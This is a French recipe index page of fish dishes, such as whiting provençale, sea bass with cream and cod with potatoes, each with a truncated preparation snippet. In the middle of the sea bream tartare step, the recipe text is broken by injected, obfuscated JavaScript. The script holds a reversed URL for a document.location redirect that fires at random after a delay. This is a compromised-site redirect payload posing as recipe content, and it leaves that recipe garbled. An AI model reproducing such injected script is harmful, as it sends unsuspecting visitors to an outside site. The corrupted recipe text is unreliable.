Recipes From Cuisine: Poissons

Filets de merlan à la provençale

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Pelez, coupez les aubergines en petits morceaux. Faites chauffer l’huile dans une poêle, et faites ...

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Émincé de bar à la crème

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Préparez le bar en l’enduisant d’huile et de gros sel pendant 35 minutes. Rincez, séchez ...

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Filet de daurade Marquise

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Rincez, séchez les filets, les enrouler dans de la farine, secouez les pour en faire ...

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Dorade safranée aux deux citrons

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Rincez, séchez, la dorade. Pressez la moitié du citron vert et la moitié du citron ...

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Thon aux concombres confits

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Tranchez le thon en fines lamelles, déposez-les dans un plat. Salez, poivrez, recouvrez d’huile d’olive ...

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Limande au vin blanc

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Enlevez la peau de la limande en incisant à la queue. Saisissez la peau avec ...

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Les limandes frites

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Le temps de cuisson des limandes est de 10 minutes environ dans une friture chaude ...

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Morue aux pommes de terre et au cerfeuil

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Si la morue est trop salée il est préférable de la faire tremper dans de ...

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Tartare de daurade vinaigrette vanillée

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Ébouillantez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate quelques secondes, pelez, épépinez, et coupez-la ...

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Aumônières de poisson crème fouettée à la ciboulette

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Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...

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